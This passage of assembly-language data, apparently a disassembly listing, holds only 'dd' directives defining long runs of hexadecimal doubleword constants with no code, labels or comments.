		dd 160F2041h, 5365ED6h,	0D06073ACh, 50DAF654h, 0D1AD1E00h
		dd 3BE3B381h, 9171079Bh, 2041B944h, 0D00FBD83h,	0F2005075h
		dd 979EBEDFh, 6CF09Bh, 7CCA7952h, 4C558EF1h, 0E5A26100h
		dd 3130AF01h, 3EC10010h, 0FB2B83F4h, 340FA3C3h,	0C1E8652Dh
		dd 9B784256h, 6B5C9874h, 9C0020AEh, 0CCB9576Eh,	0BE03977Ah
		dd 880A9430h, 7FB114A4h, 0AF1014C5h, 0B94600BEh, 58688817h
		dd 36FC28CEh, 7BC000A3h, 199C2057h, 491FB3B7h, 0D9425DACh
		dd 40A75129h, 90CBD6A1h, 0F4201337h, 90571875h,	4430B922h
		dd 0A8A4604Ah, 60D17438h, 2E19094h, 7D0136A3h, 61345B65h
		dd 398CB7D6h, 0AD1DEAEh, 9765A51Fh, 0D300741Dh,	2C2E5ABh
		dd 5CAC5C33h, 5EEA1C01h, 0E0A69513h, 6000DC6Eh,	87E3BA7h
		dd 97C575h, 0A2726D6Ah,	0F21AB943h, 0A11FA6F0h,	1E005525h
		dd 0E653FE0h, 0F578008Bh, 680F79E6h, 0FA0291A3h, 3D234EA6h
		dd 659160C6h, 888317C4h, 0C0071D40h, 0DF994132h, 6800FFECh
		dd 0E1143997h, 73A105E2h, 737DF0h, 5915E54Ch, 0E4ED3FEFh
		dd 30882200h, 0AA74D580h, 1D7A0038h, 0CFD34955h, 93CA908h
		dd 0AA2802Eh, 9D8A7869h, 74FEA79h, 0E12F7C9Bh, 74A3113Bh
		dd 0A040C64Eh, 0A654D4F2h, 0C90045E8h, 0E15EC503h, 2A61D2AAh
		dd 22A8A997h, 0D1008902h, 0BE7E3718h, 77B59A2Eh, 41FB0177h
		dd 64D36298h, 83288086h, 0CD33E9ABh, 9F68C74Bh,	8AC4C0DCh
		dd 3024696Dh, 66061C96h, 1259B52Ch, 4DC4DF82h, 0D021A128h
		dd 0F401570Ah, 0D42C89C6h, 96CFA3C0h, 1DC202B1h, 0FCBD9942h
		dd 0E3639380h, 180022DEh, 0F96AC0DAh, 0EE818BB9h, 0BE190F2Ah
		dd 0AB00BC33h, 0D4CABFAFh, 12497060h, 165A841Bh, 0AA7885h
		dd 0CF272DDBh, 6F092AC4h, 8EBFD391h, 0AE2F49B4h, 214FDEB8h
		dd 0C643A014h, 2500FDAh, 10EB6CAh, 6884482Dh, 200D4ADDh
		dd 0B6631960h, 6133135Fh, 0AFBE007Ch, 0CC978488h, 404B5330h
		dd 0C015AB81h, 0F9AC2231h, 9806F4B1h, 91192478h, 95DF0158h
		dd 0C432E79Bh, 0AE74E0D9h, 2DCFD8A8h, 0F97A7B0Eh, 0FCBB86F0h
		dd 39663D20h, 0D4159C4Dh, 2B0080A2h, 6F1953A0h,	4000B35Ah
		dd 0ACD69399h, 75159794h, 8AF60CE4h, 67315FD4h,	0E170E500h
		dd 866A462Ch, 1C5B2D37h, 9515E75Eh, 0DC2D11ECh,	86088124h
		dd 0D1182982h, 0AF2E6625h, 36DC20D0h, 0EBA94BD6h, 188684E1h
		dd 71A55E90h, 0F333E001h, 0B645627Ch, 0F1F2E199h, 4E498392h
		dd 98E1F3A5h, 60B1225h,	0E5FFCF7Ch, 2728917Fh, 2C837C65h
		dd 12786CF0h, 6F420200h, 39C3F989h, 1349013Eh, 0EC5A77CBh
		dd 0C940923Bh, 90E68847h, 0CB0A688Ah, 668AF0DEh, 7C196835h
		dd 0A1BC0B68h, 6B0FA444h, 249E880Eh, 4480B55Dh,	2293C6CEh
		dd 676A85Fh, 0F523780Ah, 0E00A94BCh, 98003877h,	0AC3E677Dh
		dd 39173E4Dh, 2FCA0B00h, 0C0E0CEBCh, 30A43892h,	94AD742Ah
		dd 0DB763002h, 0F8B56496h, 358203C7h, 28633C42h, 6C0B4FA0h
		dd 2315874h, 0C3C7115Eh, 50CCDEE9h, 350A1B5Fh, 381D18F1h
		dd 5D806F14h, 81CED2B4h, 34E020BAh, 4D9ED000h, 518E0641h
		dd 950B0656h, 21EDAF22h, 2BB18F16h, 331ED400h, 30953AD9h
		dd 32593EF1h, 0D700A727h, 2E8C201h, 19D09F6h, 95556977h
		dd 8E54FC10h, 8037AA28h, 160B578Dh, 416266D8h, 0E32818B7h
		dd 23138BCh, 636ED15Ch,	0C31A75C8h, 9AA6F810h, 76C4042h
		dd 3279FAAAh, 0D0188411h, 59A020B2h, 54215F20h,	2244006Ah
		dd 16E038C9h, 49C0946Dh, 590BA75h, 14E7C42h, 0D86785B8h
		dd 87E5E3FCh, 88A94F41h, 1E1BD83h, 4B5DABA1h, 809538BCh
		dd 378E8211h, 0C3B9D81h, 5BD8F851h, 426139A1h, 0ABEE308h
		dd 21065186h, 10C00859h, 25608B2Fh, 3C01E3AAh, 80A1C26Ch
		dd 0E3508D95h, 88543978h, 81882590h, 40D0E92h, 31209C74h
		dd 0E9EBFA85h, 9E4B7908h, 363A3A4Eh, 0E0EC4A2Ah, 0F4A103E8h
		dd 58494590h, 0F130A1F6h, 7D08F150h, 1DA1C9Ch, 148E7A8Ch
		dd 79030D2Ah, 0D828B6A4h, 2F5284FFh, 0D90A0374h, 0EB87B101h
		dd 0AE2015F2h, 690098E2h, 73D3BA28h, 93339A41h,	0CAA18FCh
		dd 0FF032F29h, 6100F5D1h, 0BB5F147Dh, 1F663Ah, 0AF54886Dh
		dd 0B1E708D8h, 944AE82Ah, 61EBAE30h, 0D9FBA0h, 0BA870271h
		dd 7FA6A888h, 0D7BC7E54h, 0F8127491h, 98B0DA1Ah, 884A1144h
		dd 29CEF8AEh, 0A3E9C0E0h, 41DC8Ch, 6063522Ah, 8864F92Dh
		dd 0FA223092h, 9F130054h, 0FB74382Fh, 4800F2EFh, 0A9B64DECh
		dd 3A870CDBh, 3C00F4CFh, 250A165Fh, 6D0C8B37h, 71FABA85h
		dd 12E900B2h, 0B93B7728h
		dd 9700750Eh, 54A64125h, 24E8846Ch, 1303987h, 47C4E78Fh
		dd 887FE30Fh, 206C5853h, 305D488Eh, 0AE63AB01h,	4D58925Eh
		dd 829480F0h, 3755450Fh, 8DC31799h, 534C037Eh, 0E1503EDAh
		dd 35400AC8h, 0F88740FFh, 0C09E9024h, 0AF406644h, 0DFCEEE9Fh
		dd 805819C8h, 0EDC215ADh, 9B6151A4h, 0EB16ABA8h, 8A451C40h
		dd 3E342967h, 0FEF11E8h, 60C30825h, 0E340CA96h,	7109102h
		dd 9006FAFDh, 0A6C7F7B6h, 21F9DE66h, 6EA80DF1h,	83BB9839h
		dd 1A0D2268h, 788D91D7h, 0E18C3FE9h, 3C79EA49h,	61116136h
		dd 8AE474F8h, 8222E881h, 6F2988A0h, 96608A0Eh, 0B2F98384h
		dd 47A8BE85h, 8400D7D4h, 0A07A2228h, 0E51EAB6Ch, 2888F6FFh
		dd 4C348A50h, 0A480646Dh, 201B5974h, 601E960Ch,	4919D2h
		dd 45637DDDh, 8570C979h, 16CA8A03h, 0A1AAC094h,	0A9854E14h
		dd 0D27793Ch, 0ECE13960h, 56023AE2h, 6E06D73Bh,	0A40C463Fh
		dd 41EC44D0h, 5352F500h, 2754F979h, 0F7D324C0h,	611A8890h
		dd 228AE0A4h, 52001CBAh, 0A480A920h, 0A16D0170h, 5009A24Dh
		dd 76506260h, 0DC493864h, 67F1F8DCh, 50E6115Ah,	3AADD8ACh
		dd 0DC4B1D24h, 58054193h, 885D9560h, 7A2490C5h,	0E3CC8300h
		dd 4C3105B8h, 30D22436h, 58C6C008h, 0F6628B00h,	99BAE556h
		dd 0D8024497h, 447E08E5h, 27F32246h, 71077E60h,	0F7392581h
		dd 8052F0F2h, 0FB1E4560h, 155100FFh, 7A7C9634h,	480ADE8Ch
		dd 0F816AF63h, 2827BA93h, 9CE95C00h, 0FCC548D4h, 334C2000h
		dd 0E7C6F9E0h, 0F14A79CCh, 0C4678991h, 6A14476Ch, 0EE8B540h
		dd 1322069h, 0ABE460ACh, 0DAE33989h, 20F3D410h,	84955944h
		dd 40F6544h, 193E6CD2h,	6D1C9173h, 0A0301528h, 1449C1F5h
		dd 0F4AF0982h, 0A0757F80h, 8D02F888h, 2B7D36EBh, 65E040FBh
		dd 13F52C4Dh, 0BBAB804Ch, 0D9BE9DD8h, 0F1E27507h, 0E8DA9209h
		dd 0E4631662h, 0E4AE341Ch, 0A136C061h, 9500DFD0h, 0CEF82680h
		dd 26C477Dh, 1386DEE1h,	38C05F79h, 8D895EA9h, 0BF988084h
		dd 20E496B3h, 0E841DA29h, 0A4200396h, 4A83ADDFh, 0BE4F8A4h
		dd 5C10C9BDh, 8C9824D3h, 44395360h, 8B9CAE0Dh, 0D4481937h
		dd 3EAF05B2h, 0EE63DADh, 9262A494h, 0D0C13AFBh,	8002145Ch
		dd 428472B8h, 0D060B3C4h, 3D7E3042h, 6C85DE34h,	48A5C9BBh
		dd 281FA84h, 9151C5F5h,	95A2CA20h, 7010FEE0h, 0CACB9901h
		dd 0EDC6165Bh, 9CC2A054h, 19322009h, 3A3F026Dh,	736F0097h
		dd 0B0D8339Eh, 0E0870082h, 6C77ACC2h, 8B2EEC86h, 9CDC856h
		dd 205D2442h, 57AC81F8h, 2B800CBBh, 5D5A7FDAh, 0D36D1F3Fh
		dd 0F504BA4Bh, 0C54EB3EDh, 12C45FF0h, 0D648900Dh, 0B70B8F8Ch
		dd 8075A0A6h, 8A3F4144h, 9521C914h, 28345018h, 778E110Bh
		dd 0FF3824CAh, 8CC6885h, 381A04F9h, 45BAC4Ah, 224093DDh
		dd 5BB1D94h, 94B944FCh,	75000D11h, 0EFB30F17h, 8649AD54h
		dd 44B52880h, 49906030h, 24C14168h, 0BCD3F2Ah, 0B8B05872h
		dd 4000018Ah, 9991D67Ch, 5FB2632h, 318349Ch, 7E8CCC6Eh
		dd 0D9519A60h, 3EC25F87h, 0B424F197h, 1D414760h, 26B43608h
		dd 0E69164F3h, 4FF0721Ch, 8892D8A8h, 6099CF94h,	0C7B19090h
		dd 6E430008h, 0FC2903C9h, 0BC568E8Fh, 1CCFBBC0h, 3BB69216h
		dd 234C1442h, 6145154h,	61EED0E3h, 7FA071A0h, 0D987100Fh
		dd 0F25842B5h, 2454512Eh, 2C9969F4h, 7A37F02Fh,	7C269094h
		dd 96276108h, 8ECC23ACh, 745178E2h, 0F0015826h,	0AA37E3DDh
		dd 6CA3E044h, 0A2183600h, 49580E22h, 540E74A6h,	46CD95Fh
		dd 34C05C74h, 0CDB98F6h, 0DD92647Dh, 6806E3E9h,	0A91B169Fh
		dd 0A4B2CC1h, 233081CCh, 2234BED2h, 55650880h, 5A9141h
		dd 0DAC6A723h, 3F78B4B8h, 5CFC0FA1h, 2CAC48Eh, 0C8A50068h
		dd 0F07D8097h, 76BF860Ah, 0E364F058h, 7E2F3740h, 4A7AF0CCh
		dd 900A773h, 6729B133h,	99A7187h, 37C093E2h, 0C295A090h
		dd 19CDB914h, 14D43E98h, 8E682DBFh, 0E5B198F1h,	82770004h
		dd 0E236DCF3h, 5F0410C2h, 83233D93h, 971FA980h,	11D0B1E3h
		dd 482F013Eh, 8218FB1Ch, 18A0ACF2h, 7E88AE36h, 11490BF3h
		dd 560790C3h, 8654FAFDh, 0B009BC3Ch, 15ED210Fh,	6B24941Fh
		dd 285C04B1h, 88645D49h, 44FAE4Eh, 41EB616Dh, 0B0528D22h
		dd 0B3A62009h, 0E4F2C7B9h, 44376E02h, 579159A0h, 652EEB60h
		dd 1462D6FAh, 22F26169h, 4483C716h, 6900E7AEh, 15E86559h
		dd 52144Eh, 0E82D92Ch, 0D8F8A35Fh, 6D58ABFAh, 0B55483CCh
		dd 4180FFA5h, 202BB0Ch,	0C2860821h, 84C4B3ABh, 4E6BA800h
		dd 51EFD412h, 815969B5h, 3E4D5001h, 27131295h, 85C79022h
		dd 920030B0h, 15B7EFEBh, 0B20A719Ch, 31E229Ch, 5FF32F0Ch
		dd 70791ADh, 8B4186BFh,	9C78207Ah, 847A09A0h, 0B86E2C02h
		dd 64DE0E6Dh, 485F58A8h, 9FBFEE80h, 7B75A931h, 82554D09h
		dd 1AE029CAh, 771F40B8h, 382425BCh, 40527CA4h, 0D1F7345Fh
		dd 0C44E002Fh, 0B196D9AAh, 27004A84h, 3FFC3543h, 681C5A8h
		dd 68D2B288h, 0AB81F923h, 8089A4E4h, 0B0257824h, 0AFC66Ch
		dd 80EDD132h, 43CA7D0Ah, 5817CEE2h, 0AC4703D2h,	0EC8A6F3Ch
		dd 4488D847h, 819A43EDh, 2CCCE17Ch, 8C061092h, 9885940h
		dd 2D6507C4h, 0B2A90766h, 4C79AE06h, 100AD88Fh,	94487048h
		dd 4084F18Ah, 9D8CF467h, 835B4F03h, 0C08DB9D4h,	125F14AFh
		dd 8018E010h, 0CB4ABC08h, 67203C0Eh, 0E0227711h, 9A00CEE5h
		dd 3289CC8h, 0E5AE1F82h, 4171D100h, 4A664DBCh, 0ECAC0F67h
		dd 0A440FEB0h, 7768A8B1h, 1938BE27h, 0A0F26000h, 51E6C7B4h
		dd 0CF5B0004h, 97FB2311h, 0F90BA2EBh, 81A960F5h, 6EFC01D8h
		dd 16C34828h, 0E90D5114h, 8802623Ch, 0A1018C66h, 0A7651826h
		dd 8CB0DE15h, 0CC008851h, 0F22D70CAh, 0B9EA0Ch,	75A2AEDAh
		dd 35788494h, 0B660249Ch, 64C71C5Ah, 40ADB890h,	5EC211EFh
		dd 0FA00343h, 81120D38h, 8C9F1F98h, 0E823BD01h,	64151602h
		dd 7B605442h, 11682C98h, 0BA22123Eh, 9A24FC20h,	6D473C27h
		dd 0BDE89D00h, 989E7170h, 73D22909h, 0A8D0100Dh, 86A077Ch
		dd 0E0BA3B2Ch, 0DD672128h, 1ABEC325h, 0D7C4070h, 158D164Eh
		dd 22AC60FEh, 9094845h,	686C441Eh, 0CEAC608Ch, 23204D99h
		dd 0E20E1CE0h, 1EB09C00h, 804BE1F7h, 0B1C41CB2h, 5DAE3D7Dh
		dd 780A66B4h, 7C41B94Bh, 0B3B819F3h, 5210530h, 110A89Ah
		dd 13E8352Eh, 6DAC600Ch, 5F0804E9h, 0A1CAFCB2h,	4D8038E0h
		dd 1BF5C5E1h, 0E301FDDEh, 43DC82F3h, 3DC1E92Eh,	0E2F028A6h
		dd 204C3995h, 0F8282C94h, 0D9119742h, 93207CE1h, 0D718C458h
		dd 248052EFh, 0B0DFE8C1h, 0BA0C1274h, 0B24C74B7h, 0E384444Ch
		dd 0A3E7E222h, 1B910F08h, 0B662FBD1h, 9C0FEF9h,	6AE07E03h
		dd 79CC1E31h, 22D25FCFh, 0A0C4F05Dh, 3D5B5100h,	775C59B1h
		dd 6AD5004Ah, 0B874E12h, 221DD0F4h, 99757853h, 6D1AF004h
		dd 0D024B4h, 0FA728BE5h, 1D5F91E2h, 0B1C86515h,	4E9859FCh
		dd 0AA316C20h, 1B780104h, 0D68D1316h, 8008392Eh, 0B9797CC1h
		dd 27E4127Fh, 8A740B36h, 31ABC0B9h, 0C2B03884h,	0ECE89168h
		dd 0E654A210h, 0B7E40078h, 4CDEBF4Dh, 4246D5B3h, 0BC3A0D00h
		dd 0BD5EF790h, 45CC2F00h, 3051D738h, 351C22ADh,	502CA5ECh
		dd 26774B4h, 7887892h, 25D8E3ABh, 1FD55580h, 0C616AA04h
		dd 908C0B62h, 113D60F1h, 13436512h, 8001B23Ch, 39FCBE4Eh
		dd 4FEE02AFh, 0F9443234h
		dd 0F5B07F20h, 8CF63933h, 0C619B280h, 24C70C3Ch, 54B83953h
		dd 8605BA2Ch, 35D0A956h, 0AF10FC45h, 2014CC72h,	3A252D07h
		dd 30869500h, 0E78A646Eh, 0ACCB01ADh, 1D6F21AEh, 0AF83D0A3h
		dd 22D96C00h, 97A65C7Bh, 0C8021EE2h, 3D80399Eh,	654FCFCDh
		dd 0AF3E3F87h, 12D40721h, 0A77082D3h, 24CA1901h, 34636AEh
		dd 1C83D1D6h, 850059E6h, 78527A42h, 60443AF2h, 8F63189Ah
		dd 0B060CDD2h, 0DA14D129h, 0B11C30E2h, 20A48639h, 56FD3600h
		dd 0EA44DEADh, 80D463D5h, 80042AEh, 0BC732A83h,	1D7508C9h
		dd 0BD84C3A8h, 683E7F01h, 81DE3AD4h, 0D2A7B4B1h, 718FABDAh
		dd 0CC069ACFh, 0E184943h, 28D1CD2Bh, 8DF64h, 0D0E6C05Ch
		dd 5F0B246Eh, 816A972Eh, 9D2A498Fh, 301C389Eh, 0B97795B1h
		dd 0B3746600h, 1580CC9Eh, 40A641ADh, 839DA8D3h,	61CD59CFh
		dd 0BDD0AB99h, 1F4910D3h, 41BE0022h, 406E7881h,	0E7FD0015h
		dd 0B679B23Ah, 77579437h, 55DC0180h, 71FE07ADh,	195BC8h
		dd 2F7F43B5h, 0C6FFA37Ah, 85A18E00h, 63A09D30h,	7CF0310Fh
		dd 8FCE0668h, 805B8EF1h, 7D2B544Dh, 3660087h, 0AF65908h
		dd 0F5181A2Dh, 5BC97348h, 539C02F0h, 114F72EBh,	0B5BAC8A0h
		dd 8252D9A7h, 7029002Ch, 0DDA198E5h, 16843A93h,	49227C9Fh
		dd 6D80EA6Bh, 48A87E64h, 0AE8C3E54h, 0D9D94163h, 0ABCCB026h
		dd 0A31B00D4h, 10A7C787h, 0C0338EEh, 9C8EE9B2h,	0E478409Fh
		dd 0BE1C8873h, 6725C8A8h, 0CB7D40Fh, 0C1608C1Dh, 0BB3A1ED1h
		dd 0C7124CAAh, 3038AA9h, 92C550FCh, 602953D2h, 47159603h
		dd 2F98F23Bh, 0A031A848h, 79BBB1A5h, 9D910810h,	8C502630h
		dd 3BEECD69h, 78C91828h, 0CA390E0Ch, 0CF33D271h, 0C6361B2h
		dd 0B9F36440h, 0B0C30F71h, 0C607CFh, 0B3BF0A31h, 3047147h
		dd 0B062D600h, 0B808F1Bh, 5F0E01D0h, 0DD3112CAh, 81C858D5h
		dd 0BD066418h, 70F2E59h, 0E1688C77h, 0D5B95CADh, 9B2FCC02h
		dd 4E804D3Dh, 7AA07B0Ch, 0DD3047Eh, 80F176E3h, 698E6CFFh
		dd 0C57A6104h, 0E4832359h, 3A20E426h, 0E4187C33h, 1B49D412h
		dd 0ACD20098h, 3217F795h, 23FEEF47h, 88D6A02Ah,	913FE136h
		dd 9AC744F8h, 8FD92905h, 0A43211B7h, 81108131h,	20211BD0h
		dd 0D8512CF2h, 2CB46E29h, 84B21C8Ah, 4D6287BFh,	2F40C5E8h
		dd 281BCCDh, 0D1F6F309h, 1884462Bh, 6DA34094h, 0E5833B0h
		dd 6C8071F1h, 0E380B4F4h, 0B37E9FFh, 1B3436F3h,	0A1490E26h
		dd 0B18ACF3Ch, 546228h,	0B0F5F6EEh, 2D1DEFD3h, 0CAC0222Bh
		dd 0B42FCF37h, 0AA1C300Fh, 0A4DDA81h, 4B3E9B0Fh, 9396E4Eh
		dd 7B8900A5h, 92EEFBE4h, 1CF626E8h, 22799E64h, 7B2A844h
		dd 684C24Ah, 342F03B1h,	80D513FBh, 9BA855E9h, 20B7DF19h
		dd 9510A9F8h, 0E3005E61h, 0E6339903h, 1BDE47Eh,	44CE9F87h
		dd 564B437Fh, 0DC913890h, 0C1F31A80h, 9B6C2A4h,	463F0147h
		dd 40CD2C24h, 0E0899F4Eh, 0D380000Ah, 4301772Dh, 7512A0ADh
		dd 4474F8Ch, 0C18C4BA8h, 9DD407E3h, 99D29046h, 522A14B0h
		dd 2000E677h, 0D9C8C30Ah, 0F9DE5Ch, 0AB92FC6Bh,	70630777h
		dd 892C48CCh, 0D8F389C8h, 65041C72h, 92E9C741h,	5F28C091h
		dd 0D11F7983h, 0AA896860h, 0BCCB7093h, 28B67531h, 6408A194h
		dd 9FB42A48h, 48214512h, 0A98B86AEh, 580E3CAh, 8B3BBA2Ch
		dd 0A25C9606h, 49202F3Eh, 0CD261C6Fh, 0D0AE490Ch, 0A141734Ch
		dd 0D003CF01h, 0C27AB914h, 0A11FD2D8h, 2612A8BCh, 0BBFF3760h
		dd 0D5665500h, 97CB85Ch, 0CD9226CBh, 4D280C08h,	0EC00DC99h
		dd 0A081E2F5h, 0A8FA233h, 0AC4A1F94h, 0B9FC0868h, 95E42CAAh
		dd 0A79D11C0h, 0CEE7F4h, 2633F029h, 96693AA8h, 0DBB03C54h
		dd 0E1A688h, 0BE3EE970h, 0D25E793Bh, 0BBC5807h,	7B31E8B9h
		dd 8C26B5C9h, 0A4787F00h, 0F9B2607Ah, 0C86BAD02h, 8A9DD675h
		dd 3500D490h, 0D45C7E11h, 0A44BE6A8h, 104045B4h, 67160AD0h
		dd 0E39B9C00h, 9ED6E994h, 10DDE634h, 149AA673h,	0C3B02C87h
		dd 0A8BABFA8h, 12BD4B14h, 44D4DBE6h, 41D02ACh, 8958753Ch
		dd 0C82C0519h, 7F40DC1Ah, 3807CDh, 0ED365DA4h, 7194C142h
		dd 2B508D01h, 82D89A59h, 0B360A848h, 854080E4h,	0F09307B8h
		dd 380E5990h, 0A0A286ADh, 0B5FC2896h, 74A4AEh, 0DAFA605Bh
		dd 442F490Eh, 0A064D200h, 9759C227h, 0BD240A18h, 388412h
		dd 7AC7B7CFh, 0F49A4FCBh, 76A09410h, 0B0AB2114h, 3563D505h
		dd 2F449CBAh, 44C15E04h, 0D8C9B9C0h, 88ABCE31h,	5909000Ch
		dd 0BDFEBB7Eh, 74A18B0Bh, 0DEFB8325h, 87F830D0h, 7E6BD366h
		dd 0A89E81C4h, 0D490AE49h, 1D785393h, 87CD4D3Fh, 6EEC3A7Ch
		dd 0CCDDEE90h, 29136926h, 48451007h, 808CBB94h,	108F1AD6h
		dd 31FB0990h, 9F80FA65h, 2FEBB7A6h, 60138970h, 0D846FE35h
		dd 0FA397AAEh, 0DB8C02F9h, 0C05234A2h, 4544C044h, 677700CDh
		dd 0ADB41ACEh, 0EE01FA88h, 0E4FE4930h, 0C2568F6h, 0FF00A873h
		dd 0B780A106h, 6D004DBCh, 0C83DCEA5h, 0C1E9C2BEh, 0D8CC42B0h
		dd 0F8239Ah, 0A07A34E3h, 93EBD34Fh, 0D12F8440h,	50280682h
		dd 0BA7F00F9h, 37E834BFh, 215D09Fh, 22CC812Ah, 0ADDD0096h
		dd 8C9DD3DFh, 1D04482Eh, 0FC1EF929h, 960060A6h,	17A5DC39h
		dd 8004C7B9h, 0D1050A78h, 0AA500816h, 0A95C9486h, 0F330B081h
		dd 64928917h, 0D28774A0h, 9C1DF6FBh, 10A5E646h,	917D6284h
		dd 65E2809Ch, 74287590h, 0FAC50500h, 5D10566Fh,	60204CCh
		dd 81486D9Bh, 8579DF8h,	0C2438844h, 7A391B00h, 84A3CE01h
		dd 0A5AA0454h, 958B6259h, 5AE8C8F4h, 0BD42E300h, 73E20E07h
		dd 65DF0099h, 346310C8h, 0D2498546h, 0CA08C0CCh, 3AD00D67h
		dd 5800FE64h, 75355680h, 2127F3Ch, 1460AF55h, 0E361C1h
		dd 85A7056Eh, 8B8110D5h, 71769FF0h, 22644744h, 2738BC35h
		dd 0F9ED0224h, 48E4A3C9h, 0CFAC1C08h, 0B481A221h, 0CC178E04h
		dd 1FE0F405h, 4FCE7200h, 85AD7BB2h, 0DC1D580Ch,	0B3E3AC80h
		dd 5C0F13B7h, 60F33401h, 6D511D5Dh, 0D9CF26D8h,	4B948BD0h
		dd 0A5E30810h, 0CCD1F70Bh, 10402BB5h, 17B6E770h, 30925055h
		dd 0CC73C9E8h, 46A9D604h, 0EC806548h, 0F5979429h, 78BBE18Eh
		dd 59CC00B0h, 0AB367AEDh, 0CFA50132h, 0D4E2EC24h, 83389385h
		dd 180B0825h, 608010DEh, 7CE20165h, 0AE804654h,	0C9198FBEh
		dd 0D906C415h, 5B544C97h, 7EA08740h, 6D2CAB44h,	69608C5Fh
		dd 408F8Ch, 82084132h, 72994622h, 0F431E271h, 0B02B49D3h
		dd 764C8214h, 18A48B2Bh, 0A2A308h, 2326D30Ch, 35CF645Ah
		dd 82FB0316h, 550D7C60h, 70E627h, 458F71Fh, 0AAEB89ADh
		dd 51767A04h, 60A44D22h, 189D0785h, 809A30E1h, 8A543468h
		dd 8406AB3Fh, 99FCC836h, 7054B4DCh, 7FA4009Ah, 7636FB8Ch
		dd 0F911AD25h, 2924DD38h, 1B0C4094h, 1E006A86h,	939EF078h
		dd 2C438404h, 14A5776h,	0D6EB778Fh, 78A032ADh, 375DE38h
		dd 61736F3h, 0C68DB8E8h, 3BDF016Bh, 8994FE53h, 168FC4D4h
		dd 0C20180FAh, 0D0E3B0DDh, 0AFF55DA9h, 0D2092862h, 0C04E4028h
		dd 0BC3E700h, 3A195EC8h, 2CFC4918h, 28A00627h, 36F7C546h
		dd 0F560D9A0h, 0B6FB0F16h, 44793C48h, 182541BDh, 0B2F105F9h
		dd 0A10424h, 0A09CB3C3h, 7CFC4FC4h, 182C78B1h, 4C1C9658h
		dd 0D60476EFh, 0EBB35FCCh, 923630C3h, 85F1805Bh, 3C2FE2E3h
		dd 0F2187312h, 808779B8h, 542D7891h, 0E04C3C19h, 0CF2F0801h
		dd 31CEE91Dh, 90E01780h
		dd 0A6A4073Ah, 3C78732Eh, 6D0CB060h, 0E1FE027Ch, 0AA1E5834h
		dd 4822D0C4h, 2A6425A6h, 0B40648A4h, 57795680h,	29ED5E14h
		dd 0CC282690h, 1902204Eh, 0EAD41420h, 289B1Dh, 26B27794h
		dd 30009537h, 9743EA5Eh, 0AC438E3h, 739CCD0Eh, 79F442E0h
		dd 104042Bh, 0A749280Ch, 0A2988049h, 0B6BD2050h, 0E6011EBCh
		dd 3DC71CD1h, 5187595Ch, 10D9A364h, 0F2D0ABEEh,	8F1894A4h
		dd 0F1417329h, 0FF4C0041h, 0B48D974Fh, 8800CA92h, 0C593A449h
		dd 24D20B5Ch, 93C2DB7h,	186652A8h, 0CF66A8A0h, 6424F7B8h
		dd 1F44A0F7h, 1DEC4E4h,	2BD00CECh, 93850DB6h, 742006D1h
		dd 7E2224B4h, 0BA1213A9h, 9104C9A1h, 3702C629h,	347301CAh
		dd 0AB913B40h, 2C6F5A26h, 0EC98F293h, 10B91Ch, 0D130E0C8h
		dd 0F700521Ah, 887F3A28h, 269905Fh, 5B8DD055h, 0A84CCD58h
		dd 1B7A0222h, 81CB310Eh, 2042E0E3h, 282C48CCh, 650E8084h
		dd 611114D1h, 0E35FC00Eh, 0D45D842Ch, 86121F81h, 9DF8ECC0h
		dd 6D6F5003h, 0F81A10D3h, 0F7FDB75Dh, 14CC8188h, 4C717866h
		dd 0FF803828h, 45DA2A9Fh, 0BB120500h, 9ADD3C5Bh, 72EB018Ch
		dd 0E9FBE0DFh, 461C24A7h, 67AE5C44h, 0C06C597Bh, 3371BB80h
		dd 0E84A1600h, 4DC84B9h, 127C090Fh, 28B8459Fh, 501CE6C1h
		dd 0E586D6A3h, 22A14924h, 0D900202Bh, 313004E2h, 2C9DC856h
		dd 50F4E946h, 5D00500Ch, 0EADC29D9h, 3B77F90Eh,	138444BFh
		dd 0A1C0481Ch, 2CD461A4h, 0FFEBC040h, 0E8AB62h,	1872F620h
		dd 4E8B4336h, 8ADE7B3Fh, 442A886Fh, 1C608212h, 7F8C2CF1h
		dd 4907237h, 9F541F20h,	96F704AEh, 8B680E52h, 24E81149h
		dd 1C74579Bh, 0D940AB00h, 2049DEEAh, 0EC5E0942h, 0C0188FD2h
		dd 4B48AC30h, 5DCA0004h, 45719E0Ch, 2191C129h, 201135FDh
		dd 0BD13DDA6h, 5897CFD2h, 8BA09D50h, 182B6B5Bh,	0B4840C1Ah
		dd 89BA4976h, 62C8C408h, 839F20E3h, 3DF8D621h, 0C4DC5930h
		dd 4B7A2960h, 0ECB8101Ch, 588700E8h, 0ADD9A6F6h, 480B9F31h
		dd 44CB468Dh, 663C0054h, 78B4C4F5h, 61CB6126h, 4F4A01E8h
		dd 94FC1DA9h, 395700ACh, 15F1F389h, 9D1C019Fh, 0FDC3CB52h
		dd 0CBD8E38h, 80CD81E8h, 2324B0E0h, 9B0C3816h, 1563684Dh
		dd 0D874FC07h, 232BEB01h, 22B17AF8h, 0AC5C50B0h, 3030E389h
		dd 28871A1h, 0D46F8F99h, 2B20D307h, 18A5CFFh, 0C9753B2h
		dd 2217305Bh, 0B1D5005Ch, 588BC1D2h, 0CB544875h, 0A83BFE05h
		dd 80A027A1h, 4E4A7DD5h, 0CB59DA00h, 8F876018h,	0DB5D04EBh
		dd 0B27428CCh, 0B91A0188h, 8123A97h, 0F2299DCh,	0BF5D3BFAh
		dd 9B09E8D5h, 7440BED8h, 0B1005C16h, 0AACB5E36h, 7D7DEAFh
		dd 0BCF63ECDh, 8C87D414h, 0F900E924h, 0DAE5D04h, 0E30B8C0h
		dd 648036C6h, 0CD4C2CB6h, 0E601A5F4h, 0B39D5053h, 0EB106128h
		dd 5530FF43h, 3ED1EE4Ah, 0D0C90B8h, 0C912D47Fh,	4045F041h
		dd 2EA30A24h, 0BA5AB000h, 1237C46h, 0DD5B9163h,	317860CDh
		dd 151C2C24h, 0DD442F64h, 0ED235900h, 199DBDE0h, 2077C0EFh
		dd 8C5F10C5h, 8B210F9Ah, 50D8AE8Eh, 0AC993C0Eh,	3EC68102h
		dd 0BEF4C18Fh, 3FFC9041h, 0D920FCB4h, 0E05647B8h, 9502155Dh
		dd 2B166171h, 7C981CFBh, 4DE4A2h, 47BC5691h, 42FF31AEh
		dd 3D2F9805h, 0D8A241F5h, 779EFE00h, 0E9D5A9B7h, 26E0D00Eh
		dd 292A6010h, 5E396F6h,	0F5482C3Eh, 0F0CF10C2h,	4C1228h
		dd 9509B651h, 0BC7BEB20h, 0DA585400h, 0D31D5E2Fh, 0DD9F1232h
